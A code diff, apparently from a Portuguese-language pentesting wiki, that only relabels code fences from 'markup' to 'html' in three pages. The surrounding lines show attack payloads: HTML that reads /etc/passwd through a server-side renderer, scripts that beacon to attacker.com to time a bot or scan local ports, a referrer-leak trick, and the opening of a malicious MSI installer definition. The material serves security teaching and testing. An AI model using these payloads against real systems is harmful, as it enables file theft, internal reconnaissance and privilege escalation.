@ -112,11 +112,11 @@ xhzeem.send();
|
||||
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
|
||||
```
|
||||
|
||||
```markup
|
||||
```html
|
||||
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
|
||||
```
|
||||
### Atraso do bot
|
||||
```markup
|
||||
```html
|
||||
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
|
||||
<script>
|
||||
let time = 500;
|
||||
@ -129,7 +129,7 @@ time += 500;
|
||||
<img src="https://attacker.com/delay">
|
||||
```
|
||||
### Varredura de Portas
|
||||
```markup
|
||||
```html
|
||||
<!--Scan local port and receive a ping indicating which ones are found-->
|
||||
<script>
|
||||
const checkPort = (port) => {
|
||||
|
||||
@ -24,7 +24,7 @@ Referrer-Policy: unsafe-url
|
||||
## Contra-Mitigação
|
||||
|
||||
Você pode substituir esta regra usando uma tag meta HTML (o atacante precisa explorar uma injeção HTML):
|
||||
```markup
|
||||
```html
|
||||
<meta name="referrer" content="unsafe-url">
|
||||
<img src="https://attacker.com">
|
||||
```
|
||||
|
||||
@ -7,7 +7,7 @@ A criação do instalador MSI será feita usando wixtools, especificamente [wixt
|
||||
Para uma compreensão abrangente de exemplos de uso do wix MSI, é aconselhável consultar [esta página](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Aqui, você pode encontrar vários exemplos que demonstram o uso do wix MSI.
|
||||
|
||||
O objetivo é gerar um MSI que executará o arquivo lnk. Para alcançar isso, o seguinte código XML pode ser empregado ([xml from here](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
|
||||
```markup
|
||||
```html
|
||||
<?xml version="1.0"?>
|
||||
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
|
||||
<Product Id="*" UpgradeCode="12345678-1234-1234-1234-111111111111" Name="Example Product Name"
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user